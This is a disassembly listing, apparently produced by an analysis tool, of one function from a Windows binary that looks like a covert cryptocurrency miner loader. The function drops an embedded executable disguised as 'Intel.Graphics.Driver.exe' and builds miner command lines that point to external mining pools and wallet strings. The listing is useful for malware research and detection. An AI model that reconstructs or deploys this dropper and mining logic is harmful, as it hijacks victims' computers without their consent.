Function at 0x140001910
Capabilities:
Check for time delay via gettickcount
Check mutex on windows
Extract resource via kernel32 functions
Get common file path
Get hostname
Read file on windows
Write file on windows

Disassembly:
push rbp
push rbx
push r12
push r13
lea rbp, [rsp - 0x1d8]
sub rsp, 0x2d8
mov rax, qword [0x14005c4e0]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
lea r8, str.KL_MiningSystem
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001968
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002a20
mov qword [rsp + 0x300], rsi
mov edx, 1
mov qword [rsp + 0x308], rdi
mov r8d, edx
mov qword [rsp + 0x310], r14
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x2d0], r15
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea r8, [0x14004b528]
mov edx, 0x73
xor ecx, ecx
mov qword [0x140060990], rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r15
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rbp + 0xb0]
mov ecx, 0x104
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.Intel.Graphics.Driver.exe
lea r8, [rbp + 0xb0]
lea rdx, str._s_s
lea rcx, [0x14005da70]
call fcn.1400031c0
xor ebx, ebx
lea rcx, [0x14005da70]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 7
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x64]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov r8d, esi
mov rdx, r14
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x14004b534]
lea rcx, [rbp - 0x60]
call fcn.14000d9f0
mov edx, 0xfffff830
lea r8d, [rbx + 2]
mov rcx, rax
mov rsi, rax
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x32]
lea rcx, [0x14005d080]
call fcn.14000dd30
lea rdx, [0x14005d080]
lea rcx, str.mining_mode:__s_n_n
call fcn.140003160
lea rdx, str.free_mode
lea rcx, [0x14005d080]
call fcn.140027290
test eax, eax
jne 0x1400023ad
mov edx, 0xfffff894
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
lea r14, [0x14005d0d0]
mov r9, rsi
mov rcx, r14
lea edx, [rbx + 1]
lea r8d, [rbx + 0x32]
call fcn.14000dd30
mov edx, 0xfffff8f8
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
mov r8d, 0xc8
lea rcx, [0x14005d120]
call fcn.14000dd30
mov edx, 0xfffff9c0
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x64]
lea rcx, [0x14005d200]
call fcn.14000dd30
mov edx, 0xfffffa24
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x64]
lea rcx, [0x14005d2a0]
call fcn.14000dd30
mov edx, 0xfffffb28
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
lea rdi, [0x14005d0b8]
mov r9, rsi
mov rcx, rdi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x14]
call fcn.14000dd30
mov edx, 0xfffffb44
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b2]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xfffffb46
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b3]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xfffffb47
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b4]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xfffffb48
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
mov r9, rsi
mov r8d, edx
lea rcx, section..data
call fcn.14000dd30
mov edx, 0xfffffb4a
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005c001]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xfffffb4c
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005c002]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
movsx edx, byte [0x14005c002]
lea rcx, str.free_mode:__d_n_n
call fcn.140003160
mov edx, 0xfffffb4e
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005c003]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
movsx edx, byte [0x14005c003]
lea rcx, str.free_time_default:__d_n_n
call fcn.140003160
mov edx, 0xfffffbb4
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x14]
lea rcx, [0x14005d108]
call fcn.14000dd30
mov edx, 0xfffffbe6
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
lea r8d, [rbx + 0x14]
lea rcx, [0x14005d1e8]
call fcn.14000dd30
mov edx, 0xfffffc18
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
mov r8d, 0x1f4
lea rcx, [0x14005d310]
call fcn.14000dd30
mov edx, 0xfffffe0c
lea r8d, [rbx + 2]
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea edx, [rbx + 1]
mov r8d, 0x1f4
lea rcx, [0x14005d510]
call fcn.14000dd30
mov rcx, rsi
call fcn.14000d684
cmp byte [0x14005d0b2], 1
jne 0x140001dc4
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x60]
lea r8, [0x140001630]
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x14005d0b3], 1
jne 0x140001e18
xor eax, eax
mov dword [rsp + 0x60], 0x30
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x70], rax
xor ecx, ecx
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
lea r8, [rsp + 0x68]
mov rcx, r14
lea rdx, [0x14004b588]
call fcn.1400031c0
mov rcx, rbx
lea rdx, str.dynex
movzx eax, byte [rdi + rcx]
lea r15, [0x14005d8c0]
inc rcx
lea r12, [0x14005da00]
cmp al, byte [rdx + rcx - 1]
jne 0x140001eb4
cmp rcx, 6
jne 0x140001e22
lea rax, str.epMAQYce28bdq4XC1
mov rcx, r15
mov qword [rsp + 0x30], rax
lea r9, str.RBKHCp1gJTwVnDrRkVDg
lea rax, str.4X3qjsZrgfgojbnGEZRV
mov qword [rsp + 0x28], rax
lea r8, str.XwoJoehLM7qL7e3hqGHS
lea rax, str.LighTV29NcUqKqaTDgnM
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], rax
call fcn.1400031c0
lea r8, str.dnx.666pool.com:7336
lea rdx, [0x14004b588]
lea rcx, [0x14005d990]
call fcn.1400031c0
lea r8, str.dnx.666pool.com:7336
mov rcx, r12
lea rdx, [0x14004b588]
call fcn.1400031c0
mov rcx, rbx
lea r10, str.kawpow
nop
movzx eax, byte [rdi + rcx]
lea rdx, str.oGNuTzHCNMUihX4CqtmZciP
inc rcx
lea r8, str.zZUXbnBm2okJTekRebVKD7xppDc
lea r9, str.tKwJmWAhG6q7ZDM5HDwYDdMTDPm
lea rsi, str.23574
lea r13, [0x14005c468]
lea r14, str.t_back
cmp al, byte [r10 + rcx - 1]
jne 0x140001fa6
cmp rcx, 7
jne 0x140001ec0
mov qword [rsp + 0x30], rdx
mov rcx, r15
mov qword [rsp + 0x28], r8
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r9
lea r8, str.BW72MqbWt4kXsP2gNTUH6aWDMUr
lea r9, str.6BJLDjtk4gt68UavfckDfvDvRQS
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
lea rdx, str.oGNuTzHCNMUihX4CqtmZciP
lea r8, str.zZUXbnBm2okJTekRebVKD7xppDc
lea r9, str.tKwJmWAhG6q7ZDM5HDwYDdMTDPm
mov rcx, rbx
lea r10, str.octopus
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x140002057
cmp rcx, 8
jne 0x140001fb0
mov qword [rsp + 0x30], rdx
mov rcx, r15
mov qword [rsp + 0x28], r8
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r9
lea r8, str.BW72MqbWt4kXsP2gNTUH6aWDMUr
lea r9, str.6BJLDjtk4gt68UavfckDfvDvRQS
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
lea rdx, str.progpow_sero
mov rcx, rdi
call fcn.140027290
test eax, eax
jne 0x140002112
lea rax, str.oGNuTzHCNMUihX4CqtmZciP
mov rcx, r15
mov qword [rsp + 0x30], rax
lea r9, str.6BJLDjtk4gt68UavfckDfvDvRQS
lea rax, str.zZUXbnBm2okJTekRebVKD7xppDc
mov qword [rsp + 0x28], rax
lea r8, str.BW72MqbWt4kXsP2gNTUH6aWDMUr
lea rax, str.tKwJmWAhG6q7ZDM5HDwYDdMTDPm
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], rax
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
lea rcx, str.etchash
nop dword [rax]
movzx eax, byte [rdi + rbx]
inc rbx
cmp al, byte [rcx + rbx - 1]
jne 0x1400021db
cmp rbx, 8
jne 0x140002120
lea rax, str.88bbdc
mov rcx, r15
mov qword [rsp + 0x30], rax
lea r9, str.08c0cc0d6
lea rax, str.bd8df659f
mov qword [rsp + 0x28], rax
lea r8, str.0x21242b0
lea rax, str.10896e25c
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], rax
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
movsx eax, byte [0x14005c001]
lea rbx, [0x14005d120]
lea r14, [0x14005d1e8]
mov r8, rdi
mov qword [rsp + 0x58], r14
lea r13, [0x14005d108]
mov qword [rsp + 0x50], r13
lea r9, [0x14005d990]
mov dword [rsp + 0x48], eax
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__i__d__api_127.0.0.1:24886__no_watchdog_s_s
mov qword [rsp + 0x40], rbx
lea rcx, [0x14005db80]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
call fcn.1400031c0
lea rdx, [0x14005db80]
lea rcx, str.1:__s_n_n
call fcn.140003160
mov qword [rsp + 0x50], r14
lea r9, [0x14005d990]
mov qword [rsp + 0x48], r13
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__i_100__api_127.0.0.1:24886__no_watchdog_s_s
mov qword [rsp + 0x40], rbx
lea rcx, [0x14005df70]
mov qword [rsp + 0x38], r15
mov r8, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
call fcn.1400031c0
lea rdx, [0x14005df70]
lea rcx, str.2:__s_n_n
call fcn.140003160
movsx eax, byte [0x14005c001]
lea rsi, [0x14005d0d0]
mov qword [rsp + 0x58], r14
lea r15, [0x14005d2a0]
mov qword [rsp + 0x50], r13
lea r9, [0x14005d200]
mov dword [rsp + 0x48], eax
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__i__d__api_127.0.0.1:24586__no_watchdog_s_s
mov qword [rsp + 0x40], rsi
lea rcx, [0x14005e360]
mov qword [rsp + 0x38], rbx
mov r8, rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call fcn.1400031c0
lea rdx, [0x14005e360]
lea rcx, str.3:__s_n_n
call fcn.140003160
mov qword [rsp + 0x50], r14
lea r9, [0x14005d200]
mov qword [rsp + 0x48], r13
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__i_100__api_127.0.0.1:24586__no_watchdog_s_s
mov qword [rsp + 0x40], rsi
lea rcx, [0x14005e750]
mov qword [rsp + 0x38], rbx
mov r8, rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call fcn.1400031c0
lea rdx, [0x14005e750]
lea rcx, str.4:__s_n_n
call fcn.140003160
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, str.Intel.Graphics.Driver.exe
mov dword [0x140060988], eax
call fcn.140001810
call fcn.140002a50
xor r9d, r9d
mov dword [rsp + 0x20], 1
lea r8, [fcn.140002a50]
mov ecx, 0x2710
lea edx, [r9 + 1]
call qword [sym.imp.WINMM.dll_timeSetEvent]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400023a0
lea rdx, str.lock_mode
lea rcx, [0x14005d080]
call fcn.140027290
test eax, eax
jne 0x140002a00
mov edx, 0xfffffb50
lea r8d, [rax + 2]
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rdi, [0x14005d0b8]
mov r9, rsi
mov rcx, rdi
lea r8d, [rdx + 0x13]
call fcn.14000dd30
mov edx, 0xfffffb82
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea r14, [0x14005d0d0]
mov r9, rsi
mov rcx, r14
lea r8d, [rdx + 0x31]
call fcn.14000dd30
mov edx, 0xfffffc18
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea rcx, [0x14005d120]
mov edx, 1
mov r8d, 0xc8
call fcn.14000dd30
mov edx, 0xfffffce0
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d200]
mov r9, rsi
lea r8d, [rdx + 0x63]
call fcn.14000dd30
mov edx, 0xfffffd44
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d2a0]
mov r9, rsi
lea r8d, [rdx + 0x63]
call fcn.14000dd30
mov edx, 0xffffffe7
mov rcx, rsi
lea r8d, [rdx + 0x1b]
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b5]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
movsx edx, byte [0x14005d0b5]
lea rcx, str.mining_management_fee:__d_n_n
call fcn.140003160
mov edx, 0xfffffda8
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov r9, rsi
lea rcx, [0x14005d710]
mov edx, 1
mov r8d, 0xc8
call fcn.14000dd30
mov edx, 0xfffffe70
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d7e0]
mov r9, rsi
lea r8d, [rdx + 0x63]
call fcn.14000dd30
mov edx, 0xfffffed4
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d850]
mov r9, rsi
lea r8d, [rdx + 0x63]
call fcn.14000dd30
mov edx, 0xffffff38
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d268]
mov r9, rsi
lea r8d, [rdx + 0x31]
call fcn.14000dd30
mov edx, 0xffffff6a
mov r8d, 2
mov rcx, rsi
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d108]
mov r9, rsi
lea r8d, [rdx + 0x13]
call fcn.14000dd30
mov edx, 0xffffff83
mov rcx, rsi
lea r8d, [rdx + 0x7f]
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d1e8]
mov r9, rsi
lea r8d, [rdx + 0x13]
call fcn.14000dd30
mov edx, 0xffffff9c
mov rcx, rsi
lea r8d, [rdx + 0x66]
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b2]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xffffffb5
mov rcx, rsi
lea r8d, [rdx + 0x4d]
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b3]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov edx, 0xffffffce
mov rcx, rsi
lea r8d, [rdx + 0x34]
call fcn.14000e1a8
mov edx, 1
lea rcx, [0x14005d0b4]
mov r8d, edx
mov r9, rsi
call fcn.14000dd30
mov rcx, rsi
call fcn.14000d684
cmp byte [0x14005d0b2], 1
jne 0x14000268e
lea rax, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x60]
lea r8, [0x140001630]
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x14005d0b3], 1
jne 0x1400026e2
xor eax, eax
mov dword [rsp + 0x60], 0x30
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x70], rax
xor ecx, ecx
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
lea r8, [rsp + 0x68]
mov rcx, r14
lea rdx, [0x14004b588]
call fcn.1400031c0
lea rdx, str.progpow_sero
mov rcx, rdi
call fcn.140027290
lea r15, [0x14005d8c0]
lea r12, [0x14005da00]
lea rsi, str.23574
lea r13, [0x14005c468]
lea r14, str.t_back
test eax, eax
jne 0x1400027c0
lea rax, str.oGNuTzHCNMUihX4CqtmZciP
mov rcx, r15
mov qword [rsp + 0x30], rax
lea r9, str.6BJLDjtk4gt68UavfckDfvDvRQS
lea rax, str.zZUXbnBm2okJTekRebVKD7xppDc
mov qword [rsp + 0x28], rax
lea r8, str.BW72MqbWt4kXsP2gNTUH6aWDMUr
lea rax, str.tKwJmWAhG6q7ZDM5HDwYDdMTDPm
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], rax
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
lea rcx, str.etchash
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
inc rbx
cmp al, byte [rcx + rbx - 1]
jne 0x14000288b
cmp rbx, 8
jne 0x1400027d0
lea rax, str.88bbdc
mov rcx, r15
mov qword [rsp + 0x30], rax
lea r9, str.08c0cc0d6
lea rax, str.bd8df659f
mov qword [rsp + 0x28], rax
lea r8, str.0x21242b0
lea rax, str.10896e25c
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], rax
call fcn.1400031c0
mov qword [rsp + 0x30], rsi
lea r9, str.ssl:__
mov qword [rsp + 0x28], r13
lea r8, str.stratum
lea rdx, str._s_s_s_s_s
mov qword [rsp + 0x20], r14
lea rcx, [0x14005d990]
call fcn.1400031c0
lea rax, str..cc:
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea r9, str.ssl:__
lea r8, str.stratum
mov qword [rsp + 0x20], r14
lea rdx, str._s_s_s_s_s
mov rcx, r12
call fcn.1400031c0
lea rbx, [0x14005d120]
mov r8, rdi
lea r13, [0x14005d1e8]
mov qword [rsp + 0x50], r13
lea r14, [0x14005d108]
mov qword [rsp + 0x48], r14
lea r9, [0x14005d990]
mov qword [rsp + 0x40], rbx
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__api_127.0.0.1:24886__no_watchdog_s_s
mov qword [rsp + 0x38], r15
lea rcx, [0x14005df70]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
call fcn.1400031c0
lea rdx, [0x14005df70]
lea rcx, str.klsystem:__s_n_n
call fcn.140003160
mov qword [rsp + 0x50], r13
lea rax, [0x14005d710]
mov qword [rsp + 0x48], r14
lea rsi, [0x14005d0d0]
mov qword [rsp + 0x40], rsi
lea r9, [0x14005d7e0]
mov qword [rsp + 0x38], rax
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__api_127.0.0.1:24586__no_watchdog_s_s
mov qword [rsp + 0x30], rsi
lea rcx, [0x14005eb40]
mov qword [rsp + 0x28], rax
mov r8, rdi
lea rax, [0x14005d850]
mov qword [rsp + 0x20], rax
call fcn.1400031c0
lea rdx, [0x14005eb40]
lea rcx, str.admin:__s_n_n
call fcn.140003160
mov qword [rsp + 0x50], r13
lea r15, [0x14005d2a0]
mov qword [rsp + 0x48], r14
lea r9, [0x14005d200]
mov qword [rsp + 0x40], rsi
lea rdx, str._a__s__o__s__o1__s__u__s._s__u1__s._s__api_127.0.0.1:24586__no_watchdog_s_s
mov qword [rsp + 0x38], rbx
lea rcx, [0x14005e750]
mov qword [rsp + 0x30], rsi
mov r8, rdi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
call fcn.1400031c0
lea rdx, [0x14005e750]
lea rcx, str.netbar:__s_n_n
call fcn.140003160
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, str.Intel.Graphics.Driver.exe
mov dword [0x140060988], eax
call fcn.140001810
call fcn.140002e80
xor r9d, r9d
mov dword [rsp + 0x20], 1
lea r8, [fcn.140002e80]
mov ecx, 0x2710
lea edx, [r9 + 1]
call qword [sym.imp.WINMM.dll_timeSetEvent]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400029f3
mov r14, qword [rsp + 0x310]
mov rdi, qword [rsp + 0x308]
mov rsi, qword [rsp + 0x300]
mov r15, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140003480
add rsp, 0x2d8
pop r13
pop r12
pop rbx
pop rbp
ret